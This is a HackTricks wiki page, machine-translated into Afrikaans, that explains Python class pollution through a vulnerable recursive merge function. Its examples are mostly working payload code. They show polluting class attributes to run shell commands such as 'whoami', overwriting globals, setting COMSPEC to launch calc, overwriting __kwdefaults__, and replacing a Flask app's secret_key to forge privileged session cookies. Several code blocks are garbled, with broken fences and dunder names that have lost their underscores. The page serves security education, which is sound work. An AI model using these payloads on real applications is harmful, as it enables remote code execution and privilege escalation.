Class Pollution (Python's Prototype Pollution)
Leer en oefen AWS-hacking: HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer en oefen GCP-hacking:
HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
Controleer die inskrywingsplanne!
Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Basiese Voorbeeld
Kyk hoe dit moontlik is om klasse van voorwerpe met strings te verontreinig:
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass
c = Company()
d = Developer()
e = Entity()
print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>
e.__class__.__qualname__ = 'Polluted_Entity'
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
Basiese Swakheid Voorbeeld
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}
# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
Gadget Voorbeelde
Skep klas eienskap standaard waarde na RCE (subprocess)
```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
USER_INPUT = { "class":{ "base":{ "base":{ "custom_command": "whoami" } } } }
recruiter_emp = Recruiter() system_admin_emp = SystemAdmin()
print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there"
Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m"
</details>
<details>
<summary>Vervuiling van ander klasse en globale vars deur <code>globals</code></summary>
```python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Willekeurige subproses uitvoering
```python import subprocess, json
class Employee: def init(self): pass
def merge(src, dst):
Recursive merge function
for k, v in src.items(): if hasattr(dst, 'getitem'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"init":{"globals":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(USER_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
</details>
<details>
<summary>Oorskrywing van <strong><code>__kwdefaults__</code></strong></summary>
**`__kwdefaults__`** is 'n spesiale eienskap van alle funksies, gebaseer op Python [dokumentasie](https://docs.python.org/3/library/inspect.html), dit is 'n "afbeelding van enige verstekwaardes vir **sleutelwoord-alleen** parameters". Om hierdie eienskap te besoedel, stel dit ons in staat om die verstekwaardes van sleutelwoord-alleen parameters van 'n funksie te beheer, dit is die funksie se parameters wat na \* of \*args kom.
```python
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Oorskryf Flask-geheim regoor lêers
Dus, as jy 'n klasvervuiling kan doen oor 'n voorwerp wat in die hoof Python-lêer van die web gedefinieer is, maar waarvan die klas in 'n ander lêer as die hoof een gedefinieer is. Omdat jy in die vorige ladinge __globals__ moet benader om toegang te verkry tot die klas van die voorwerp of metodes van die klas, sal jy in staat wees om die globals in daardie lêer te benader, maar nie in die hoof een nie. Daarom sal jy nie die Flask-program se globale voorwerp kan benader wat die geheime sleutel in die hoofbladsy gedefinieer het nie:
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
In hierdie scenario het jy 'n toestel nodig om deur lêers te navigeer om by die hooflêer te kom om toegang te verkry tot die globale voorwerp app.secret_key
om die Flask geheime sleutel te verander en in staat te wees om voorregte te eskaleer deur hierdie sleutel te ken.
'n Nuttige lading soos hierdie een van hierdie skryfstuk:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
Gebruik hierdie lading om app.secret_key
te verander (die naam in jou program mag verskil) om nuwe en meer bevoorregte flask koekies te kan teken.
Kyk ook na die volgende bladsy vir meer slegs lees-toestelle:
Python Internal Read GadgetsVerwysings
Leer & oefen AWS Hack:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hack:
HackTricks Opleiding GCP Red Team Expert (GRTE)
Ondersteun HackTricks
Kyk na die inskrywingsplanne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github repos.
Last updated